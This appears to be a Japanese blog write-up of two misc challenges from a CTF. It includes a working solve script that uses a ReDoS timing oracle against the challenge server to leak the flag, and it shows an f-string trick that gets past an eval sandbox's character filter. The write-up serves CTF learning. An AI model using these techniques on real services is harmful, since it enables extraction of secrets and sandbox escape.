"This is a CTF with Japanese OSINT as the main genre." という激ユニークなCTFがあって、98ptsというチームで出ました*1。メインディッシュであるところのOSINTは全くわからなかったのでチームメイトにすべて丸投げしていて、前菜のmiscを2問だけ解いたのでそれのwriteupです。OSINTはについてはst98さんのwriteupを参照されてください
soder
問題のスクリプトが簡潔なので好き。正規表現のパターンを入力すると、re.match(pattern, FLAG)
してくれるが、結果は教えてもらえない。何をやればよいかと言うとReDoS*2という、めちゃめちゃバックトラックが多いパターンを入力すると正規表現の処理に時間がかかることをオラクルにしてフラグの情報を抜き出す技があるのでそれ。
詳しいことは何もしらないけど、そういえばTakashi Yoneuchi氏が詳しかったなと言うことを思い出して https://shift-js.info/ を見に行ったら案の定ReDoSについて解説しているスライドがあったし、なんなら今回のケースにドンピシャなオラクルの作り方も懇切丁寧に書いてあった*3。
Takashi Yoneuchi氏に深い感謝を捧げながらスクリプトを書いて回して待つ。なんかptrlibのtimeoutがうまく動かなくて例外がちゃんと送出されなかった。なぜ
from ptrlib import Socket from logging import getLogger import string import re import time from timeout_decorator import timeout, TimeoutError from tqdm import tqdm getLogger("ptrlib").setLevel(0) def redos_if(pattern): return "^(?={})((.*)*)*hoge$".format(pattern) @timeout(1) def timeout_pattern(pattern): sock = Socket("nc 133.130.103.51 31417") sock.sendlineafter("Pattern: ", redos_if(pattern)) sock.recvline() sock.recvline(timeout=1) def oracle(pattern): t1 = time.time() try: timeout_pattern(pattern) except TimeoutError: return 5 t2 = time.time() return t2 - t1 def is_nth_char(n, c): return ".{"+str(n)+"}"+re.escape(c)+".*" known_flags = [] while True: for c in tqdm(string.printable): if oracle(is_nth_char(len(known_flags), c)) > 1: known_flags.append(c) break time.sleep(0.1) print(known_flags)
lucky number 777
問題のスクリプトが簡潔なので好き2*4。送った文字列をeval
してくれるが、便利そうな記号は大体封じられている。"{flag}" in lukcy_number
が封じられているように{}
や""
は入力可能なのでこれをうまく使いたい。
import string def challenge(lucky_number: str): flag = "TsukuCTF22{THIS_IS_NOT_FLAG}" # TOP SECRET printable = string.printable filter = "_[].,*+%: |()#\\\t\r\v\f\n" # ( ̄ー ̄) if not all(c in printable for c in lucky_number): return "No Hack!!!" if any(c in filter for c in lucky_number): return "No Hack!!!" if lucky_number == "flag" or "{flag}" in lucky_number: return "No Hack!!!" try: return "your lucky_number is " + str(eval(lucky_number)) except: return "No Hack!!!"
pythonのf-stringについてなんかないかな〜と思ってドキュメントを眺めていたらf"{flag}"
はフィルタに引っかかるので禁止されているが、f"{flag=}"
はフィルタをすり抜けることに気がついたので、それを入れて勝ち
最近腑抜けているので、「こういうのでいいんだよな〜」と思いながら解いていた。楽しいね